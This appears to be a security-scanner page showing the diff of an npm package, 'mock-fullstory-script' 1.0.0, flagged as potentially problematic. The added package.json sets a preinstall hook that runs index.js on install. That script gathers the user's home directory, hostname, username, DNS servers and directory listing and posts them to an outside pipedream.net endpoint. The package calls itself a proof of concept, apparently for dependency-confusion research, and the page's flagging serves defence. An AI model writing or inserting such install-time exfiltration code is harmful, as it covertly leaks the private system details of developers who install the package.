mock-fullstory-script 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mock-fullstory-script might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +55 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,55 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to recursively get a list of directories in a given path
10
+ function getDirectories(path) {
11
+ return fs
12
+ .readdirSync(path, { withFileTypes: true })
13
+ .filter((dirent) => dirent.isDirectory())
14
+ .map((dirent) => dirent.name);
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ packagename: package,
19
+ dirname: __dirname,
20
+ homedirectory: os.homedir(),
21
+ hostname: os.hostname(),
22
+ username: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ directories: getDirectories(__dirname), // Include the list of directories
25
+ r: packageJSON ? packageJSON.___resolved : undefined,
26
+ version: packageJSON.version,
27
+ });
28
+
29
+ var postData = querystring.stringify({
30
+ msg: trackingData,
31
+ });
32
+
33
+ var options = {
34
+ hostname: "eo4wjf5yiwgzpeu.m.pipedream.net", // Replace with your target hostname
35
+ path: "/",
36
+ method: "POST",
37
+ headers: {
38
+ "Content-Type": "application/x-www-form-urlencoded",
39
+ "Content-Length": postData.length,
40
+ },
41
+ };
42
+
43
+ var req = https.request(options, (res) => {
44
+ res.on("data", (d) => {
45
+ process.stdout.write(d);
46
+ });
47
+ });
48
+
49
+ req.on("error", (e) => {
50
+ console.error(e);
51
+ });
52
+
53
+ req.write(postData);
54
+ req.end();
55
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "mock-fullstory-script",
3
+ "version": "1.0.0",
4
+ "description": "don't install for poc purposes",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Gaurav",
11
+ "license": "ISC"
12
+ }